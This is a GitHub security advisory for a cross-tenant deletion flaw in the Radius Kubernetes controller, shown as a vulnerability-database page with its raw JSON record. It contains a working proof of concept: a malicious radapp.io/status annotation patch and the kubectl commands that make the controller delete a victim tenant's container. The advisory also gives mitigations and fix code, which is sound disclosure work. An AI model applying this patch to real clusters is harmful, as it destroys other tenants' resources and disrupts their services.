GHSA-FP5J-4FJ2-4JVQ
Vulnerability from github – Published: 2026-06-12 20:08 – Updated: 2026-06-12 20:08Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)
Summary
A configuration-validation issue in the Radius Kubernetes controller can cause it to issue a DELETE for the container resource referenced by a tampered radapp.io/status annotation on a Deployment. It follows the "Confused Deputy" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team's container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.
- Vulnerability Type: Configuration Injection / Cross-Tenant Resource Deletion
- CVSS 3.1 Score: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)
- CWE Classification: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)
- Affected Versions: Radius v0.57.1 and earlier versions
Vulnerability Details
Root Cause
The Radius controller deserializes user-controllable JSON data from the radapp.io/status annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.
Vulnerable Code Locations
Vulnerability Source - pkg/controller/reconciler/annotations.go:110-119:
s := deploymentStatus{}
status := deployment.Annotations[AnnotationRadiusStatus]
if status != "" {
err := json.Unmarshal([]byte(status), &s) // Deserializes user-controllable data without validation
if err != nil {
return result, fmt.Errorf("failed to unmarshal status annotation: %w", err)
}
result.Status = &s
}
Vulnerability Sink - pkg/controller/reconciler/deployment_reconciler.go:491:
poller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion
Attack Chain
┌─────────────────────────────────────────────────────────────────────────────┐
│ Confused Deputy Attack │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ Tenant-A (Attacker) Tenant-B (Victim) │
│ ┌──────────────────┐ ┌──────────────────┐ │
│ │ legitimate-app │ │ victim-container │ │
│ │ (Deployment) │ │ (Radius Resource)│ │
│ └────────┬─────────┘ └────────▲─────────┘ │
│ │ │ │
│ │ 1. Inject malicious │ 4. DELETE request │
│ │ radapp.io/status │ (no auth check!) │
│ │ annotation │ │
│ ▼ │ │
│ ┌──────────────────┐ ┌───────┴──────────┐ │
│ │ Radius Controller│ ─────────────────▶│ Radius API │ │
│ │ (High Privilege) │ 3. Uses injected │ (UCP) │ │
│ └──────────────────┘ container ID └──────────────────┘ │
│ ▲ │
│ │ 2. Reads annotation │
│ │ without validation │
│ │ │
└───────────┴─────────────────────────────────────────────────────────────────┘
Proof of Concept (PoC)
Prerequisites
- Kubernetes cluster with Radius v0.54.0 installed
- Attacker has permission to modify Deployment annotations in a namespace
- Target tenant has Radius-managed container resources
Environment Setup
Step 1: Install Kind Cluster and Radius
# Create Kind cluster
kind create cluster --name radius-test --image kindest/node:v1.27.3
# Install Radius
rad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans
# Verify installation
kubectl get pods -n radius-system
Expected output:
NAME READY STATUS RESTARTS AGE
applications-rp-xxx 1/1 Running 0 2m
bicep-de-xxx 1/1 Running 0 2m
controller-xxx 1/1 Running 0 2m
ucp-xxx 1/1 Running 0 2m
Step 2: Create Attacker Tenant (tenant-a)
# Create resource group
rad group create tenant-a
# Create environment
rad env create tenant-a-env --group tenant-a
# Switch to tenant-a
rad group switch tenant-a
rad env switch tenant-a-env
Step 3: Deploy Legitimate Application in tenant-a
Create legitimate-app.bicep:
extension radius
@description('The Radius application resource')
resource app 'Applications.Core/applications@2023-10-01-preview' = {
name: 'legitimate-app'
properties: {
environment: environment()
}
}
@description('The container resource')
resource container 'Applications.Core/containers@2023-10-01-preview' = {
name: 'legitimate-container'
properties: {
application: app.id
container: {
image: 'nginx:latest'
}
}
}
Deploy the application:
rad deploy legitimate-app.bicep
Step 4: Create Victim Tenant (tenant-b)
# Create resource group and environment
rad group create tenant-b
rad env create tenant-b-env --group tenant-b
# Create victim application and container via UCP API
kubectl port-forward svc/ucp -n radius-system 8443:443 &
PF_PID=$!
sleep 3
# Create application
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"environment": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env"
}
}'
# Create container
curl -k -X PUT "https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview" \
-H "Content-Type: application/json" \
-d '{
"location": "global",
"properties": {
"application": "/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app",
"container": {
"image": "nginx:latest"
}
}
}'
kill $PF_PID 2>/dev/null || true
Step 5: Verify Victim Resource Exists
kubectl get deployment -n tenant-b-victim-app victim-container
Expected output:
NAME READY UP-TO-DATE AVAILABLE AGE
victim-container 1/1 1 1 50s
Exploitation
Step 6: Inject Malicious Annotation
Create attack-patch.yaml:
metadata:
annotations:
radapp.io/enabled: "false"
radapp.io/status: '{"container":"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container","scope":"/planes/radius/local/resourceGroups/tenant-b"}'
Execute the attack:
kubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml
Expected output:
deployment.apps/legitimate-app patched
Step 7: Verify Attack Success
Wait a few seconds and check the victim's resources:
kubectl get all -n tenant-b-victim-app
Expected output:
No resources found in tenant-b-victim-app namespace.
Log Evidence
The controller logs show the cross-tenant deletion operation:
Attack Triggered (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Starting DELETE operation.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Cross-Tenant Delete Request (15:29:41.351Z):
{
"timestamp": "2026-02-01T15:29:41.351Z",
"message": "Deleting container.",
"scope": "/planes/radius/local/resourceGroups/tenant-b",
"resourceType": "Applications.Core/containers"
}
Deletion Successful (15:29:41.367Z):
{
"timestamp": "2026-02-01T15:29:41.367Z",
"message": "Resource is deleted.",
"Deployment": {"name": "legitimate-app", "namespace": "tenant-a"}
}
Impact
Security Impact
- Confidentiality: No direct impact (no data disclosure)
- Integrity: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC
- Availability: High - Can cause service disruption for target tenants
Attack Prerequisites
- Attacker needs permission to modify Deployment annotations in a Kubernetes namespace
- Attacker needs to know the target resource's Radius resource ID (obtainable through enumeration or social engineering)
CVSS 3.1 Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H
| Metric | Value | Description |
|---|---|---|
| Attack Vector | Network | Via Kubernetes API |
| Attack Complexity | Low | Only requires annotation modification |
| Privileges Required | Low | Requires Deployment edit permission |
| User Interaction | None | No user interaction required |
| Scope | Changed | Affects other tenants |
| Confidentiality | None | No data disclosure |
| Integrity | None | No victim data modified; deletes a recoverable management resource |
| Availability | High | Causes service disruption |
Workarounds
Until an official fix is released, consider the following mitigations:
- Restrict Annotation Modification Permissions: Use Kubernetes RBAC to limit who can modify Deployment annotations
- Monitor Anomalous Operations: Monitor modifications to
radapp.io/statusannotations, especially those containing other tenants' resource IDs - Network Isolation: Implement strict network policies in multi-tenant environments
Remediation Recommendations
Short-term Fix
Add validation logic in annotations.go to ensure the container ID in radapp.io/status belongs to the current namespace/tenant:
func validateContainerScope(deployment *appsv1.Deployment, containerID string) error {
expectedScope := extractScopeFromDeployment(deployment)
actualScope := extractScopeFromContainerID(containerID)
if expectedScope != actualScope {
return fmt.Errorf("container scope mismatch: expected %s, got %s", expectedScope, actualScope)
}
return nil
}
Long-term Fix
- Implement Least Privilege Principle: The controller should use credentials associated with the Deployment's tenant
- Add Radius API Authorization Validation: UCP should validate the source tenant of delete requests
- Audit Logging: Log all cross-tenant operation attempts
References
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/radius-project/radius"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.58.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53999"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-441"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T20:08:46Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "# Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)\n\n## Summary\n\nA configuration-validation issue in the Radius Kubernetes controller can cause it to issue a `DELETE` for the container resource referenced by a tampered `radapp.io/status` annotation on a Deployment. It follows the \"Confused Deputy\" pattern. Real-world impact is bounded and depends heavily on install topology: in a multi-tenant install (one controller reconciling Deployments across resource groups owned by different teams) it can affect another team\u0027s container, while in a single-tenant install it is only self-DoS. There is no data disclosure, no privilege escalation, and no persistence, and deleted resources are recoverable through standard Radius deployment workflows.\n\n- **Vulnerability Type**: Configuration Injection / Cross-Tenant Resource Deletion\n- **CVSS 3.1 Score**: 7.7 (High in worst-case multi-tenant installs; Medium or lower in single-tenant or strict-RBAC installs)\n- **CWE Classification**: CWE-20 (Improper Input Validation), CWE-441 (Unintended Proxy or Intermediary)\n- **Affected Versions**: Radius v0.57.1 and earlier versions\n\n## Vulnerability Details\n\n### Root Cause\n\nThe Radius controller deserializes user-controllable JSON data from the `radapp.io/status` annotation on Kubernetes Deployments without validating whether the resource IDs belong to the current tenant. When the controller performs delete operations, it uses its own high-privilege credentials to send requests to the Radius API, enabling deletion of resources belonging to any tenant.\n\n### Vulnerable Code Locations\n\n**Vulnerability Source** - `pkg/controller/reconciler/annotations.go:110-119`:\n\n```go\ns := deploymentStatus{}\nstatus := deployment.Annotations[AnnotationRadiusStatus]\nif status != \"\" {\n err := json.Unmarshal([]byte(status), \u0026s) // Deserializes user-controllable data without validation\n if err != nil {\n return result, fmt.Errorf(\"failed to unmarshal status annotation: %w\", err)\n }\n result.Status = \u0026s\n}\n```\n\n**Vulnerability Sink** - `pkg/controller/reconciler/deployment_reconciler.go:491`:\n\n```go\npoller, err := deleteContainer(ctx, r.Radius, annotations.Status.Container) // Directly uses user-controllable data for deletion\n```\n\n### Attack Chain\n\n```text\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Confused Deputy Attack \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 Tenant-A (Attacker) Tenant-B (Victim) \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 legitimate-app \u2502 \u2502 victim-container \u2502 \u2502\n\u2502 \u2502 (Deployment) \u2502 \u2502 (Radius Resource)\u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b2\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 1. Inject malicious \u2502 4. DELETE request \u2502\n\u2502 \u2502 radapp.io/status \u2502 (no auth check!) \u2502\n\u2502 \u2502 annotation \u2502 \u2502\n\u2502 \u25bc \u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 Radius Controller\u2502 \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502 Radius API \u2502 \u2502\n\u2502 \u2502 (High Privilege) \u2502 3. Uses injected \u2502 (UCP) \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 container ID \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u25b2 \u2502\n\u2502 \u2502 2. Reads annotation \u2502\n\u2502 \u2502 without validation \u2502\n\u2502 \u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n## Proof of Concept (PoC)\n\n### Prerequisites\n\n- Kubernetes cluster with Radius v0.54.0 installed\n- Attacker has permission to modify Deployment annotations in a namespace\n- Target tenant has Radius-managed container resources\n\n### Environment Setup\n\n#### Step 1: Install Kind Cluster and Radius\n\n```bash\n# Create Kind cluster\nkind create cluster --name radius-test --image kindest/node:v1.27.3\n\n# Install Radius\nrad install kubernetes --set global.zipkin.url=http://jaeger-collector.radius-system.svc.cluster.local:9411/api/v2/spans\n\n# Verify installation\nkubectl get pods -n radius-system\n```\n\nExpected output:\n\n```text\nNAME READY STATUS RESTARTS AGE\napplications-rp-xxx 1/1 Running 0 2m\nbicep-de-xxx 1/1 Running 0 2m\ncontroller-xxx 1/1 Running 0 2m\nucp-xxx 1/1 Running 0 2m\n```\n\n#### Step 2: Create Attacker Tenant (tenant-a)\n\n```bash\n# Create resource group\nrad group create tenant-a\n\n# Create environment\nrad env create tenant-a-env --group tenant-a\n\n# Switch to tenant-a\nrad group switch tenant-a\nrad env switch tenant-a-env\n```\n\n#### Step 3: Deploy Legitimate Application in tenant-a\n\nCreate `legitimate-app.bicep`:\n\n```bicep\nextension radius\n\n@description(\u0027The Radius application resource\u0027)\nresource app \u0027Applications.Core/applications@2023-10-01-preview\u0027 = {\n name: \u0027legitimate-app\u0027\n properties: {\n environment: environment()\n }\n}\n\n@description(\u0027The container resource\u0027)\nresource container \u0027Applications.Core/containers@2023-10-01-preview\u0027 = {\n name: \u0027legitimate-container\u0027\n properties: {\n application: app.id\n container: {\n image: \u0027nginx:latest\u0027\n }\n }\n}\n```\n\nDeploy the application:\n\n```bash\nrad deploy legitimate-app.bicep\n```\n\n#### Step 4: Create Victim Tenant (tenant-b)\n\n```bash\n# Create resource group and environment\nrad group create tenant-b\nrad env create tenant-b-env --group tenant-b\n\n# Create victim application and container via UCP API\nkubectl port-forward svc/ucp -n radius-system 8443:443 \u0026\nPF_PID=$!\nsleep 3\n\n# Create application\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app?api-version=2023-10-01-preview\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"location\": \"global\",\n \"properties\": {\n \"environment\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/environments/tenant-b-env\"\n }\n }\u0027\n\n# Create container\ncurl -k -X PUT \"https://localhost:8443/apis/api.ucp.dev/v1alpha3/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container?api-version=2023-10-01-preview\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"location\": \"global\",\n \"properties\": {\n \"application\": \"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/applications/victim-app\",\n \"container\": {\n \"image\": \"nginx:latest\"\n }\n }\n }\u0027\n\nkill $PF_PID 2\u003e/dev/null || true\n```\n\n#### Step 5: Verify Victim Resource Exists\n\n```bash\nkubectl get deployment -n tenant-b-victim-app victim-container\n```\n\nExpected output:\n\n```text\nNAME READY UP-TO-DATE AVAILABLE AGE\nvictim-container 1/1 1 1 50s\n```\n\n### Exploitation\n\n#### Step 6: Inject Malicious Annotation\n\nCreate `attack-patch.yaml`:\n\n```yaml\nmetadata:\n annotations:\n radapp.io/enabled: \"false\"\n radapp.io/status: \u0027{\"container\":\"/planes/radius/local/resourceGroups/tenant-b/providers/Applications.Core/containers/victim-container\",\"scope\":\"/planes/radius/local/resourceGroups/tenant-b\"}\u0027\n```\n\nExecute the attack:\n\n```bash\nkubectl patch deployment legitimate-app -n tenant-a --patch-file attack-patch.yaml\n```\n\nExpected output:\n\n```text\ndeployment.apps/legitimate-app patched\n```\n\n#### Step 7: Verify Attack Success\n\nWait a few seconds and check the victim\u0027s resources:\n\n```bash\nkubectl get all -n tenant-b-victim-app\n```\n\nExpected output:\n\n```text\nNo resources found in tenant-b-victim-app namespace.\n```\n\n### Log Evidence\n\nThe controller logs show the cross-tenant deletion operation:\n\n**Attack Triggered** (15:29:41.351Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n \"message\": \"Starting DELETE operation.\",\n \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n**Cross-Tenant Delete Request** (15:29:41.351Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.351Z\",\n \"message\": \"Deleting container.\",\n \"scope\": \"/planes/radius/local/resourceGroups/tenant-b\",\n \"resourceType\": \"Applications.Core/containers\"\n}\n```\n\n**Deletion Successful** (15:29:41.367Z):\n\n```json\n{\n \"timestamp\": \"2026-02-01T15:29:41.367Z\",\n \"message\": \"Resource is deleted.\",\n \"Deployment\": {\"name\": \"legitimate-app\", \"namespace\": \"tenant-a\"}\n}\n```\n\n## Impact\n\n### Security Impact\n\n- **Confidentiality**: No direct impact (no data disclosure)\n- **Integrity**: None - No victim data is modified; the issue deletes a Radius-managed container resource, which is recoverable from IaC\n- **Availability**: High - Can cause service disruption for target tenants\n\n### Attack Prerequisites\n\n1. Attacker needs permission to modify Deployment annotations in a Kubernetes namespace\n2. Attacker needs to know the target resource\u0027s Radius resource ID (obtainable through enumeration or social engineering)\n\n### CVSS 3.1 Vector\n\n```text\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H\n```\n\n| Metric | Value | Description |\n|---------------------|---------|--------------------------------------------------------------------|\n| Attack Vector | Network | Via Kubernetes API |\n| Attack Complexity | Low | Only requires annotation modification |\n| Privileges Required | Low | Requires Deployment edit permission |\n| User Interaction | None | No user interaction required |\n| Scope | Changed | Affects other tenants |\n| Confidentiality | None | No data disclosure |\n| Integrity | None | No victim data modified; deletes a recoverable management resource |\n| Availability | High | Causes service disruption |\n\n## Workarounds\n\nUntil an official fix is released, consider the following mitigations:\n\n1. **Restrict Annotation Modification Permissions**: Use Kubernetes RBAC to limit who can modify Deployment annotations\n2. **Monitor Anomalous Operations**: Monitor modifications to `radapp.io/status` annotations, especially those containing other tenants\u0027 resource IDs\n3. **Network Isolation**: Implement strict network policies in multi-tenant environments\n\n## Remediation Recommendations\n\n### Short-term Fix\n\nAdd validation logic in `annotations.go` to ensure the container ID in `radapp.io/status` belongs to the current namespace/tenant:\n\n```go\nfunc validateContainerScope(deployment *appsv1.Deployment, containerID string) error {\n expectedScope := extractScopeFromDeployment(deployment)\n actualScope := extractScopeFromContainerID(containerID)\n if expectedScope != actualScope {\n return fmt.Errorf(\"container scope mismatch: expected %s, got %s\", expectedScope, actualScope)\n }\n return nil\n}\n```\n\n### Long-term Fix\n\n1. **Implement Least Privilege Principle**: The controller should use credentials associated with the Deployment\u0027s tenant\n2. **Add Radius API Authorization Validation**: UCP should validate the source tenant of delete requests\n3. **Audit Logging**: Log all cross-tenant operation attempts\n\n## References\n\n- [Radius Project GitHub](https://github.com/radius-project/radius)\n- [CWE-20: Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-441: Unintended Proxy or Intermediary (Confused Deputy)](https://cwe.mitre.org/data/definitions/441.html)\n- [OWASP: Confused Deputy Problem](https://owasp.org/www-community/attacks/Confused_Deputy)",
"id": "GHSA-fp5j-4fj2-4jvq",
"modified": "2026-06-12T20:08:46Z",
"published": "2026-06-12T20:08:46Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/radius-project/radius/security/advisories/GHSA-fp5j-4fj2-4jvq"
},
{
"type": "PACKAGE",
"url": "https://github.com/radius-project/radius"
},
{
"type": "WEB",
"url": "https://github.com/radius-project/radius/releases/tag/v0.58.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Radius Controller May Delete a Container Resource via an Injected Deployment Annotation (Multi-Tenant Installs)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.